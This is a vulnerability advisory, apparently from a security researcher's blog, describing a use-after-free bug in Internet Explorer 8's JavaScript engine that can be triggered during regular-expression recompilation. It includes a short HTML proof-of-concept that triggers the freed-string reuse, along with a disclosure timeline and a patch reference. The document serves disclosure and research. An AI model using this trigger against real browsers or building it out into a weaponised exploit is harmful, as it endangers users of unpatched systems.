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Source: http://blog.skylined.nl/20161116001.html
Synopsis
A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.
Known affected software, attack vectors and mitigations
Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
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<!DOCTYPE html>
<html>
<script>
// This PoC attempts to exploit a use-after-free bug in Microsoft Internet
// Explorer 8.
// See http://blog.skylined.nl/20161116001.html for details.
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
// Force OLEAUT32 to free the string
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
// Reuse the freed memory
r.compile();
});
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</html>
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Description
Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.
Exploit
Exploitation was not investigated.
Time-line
March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
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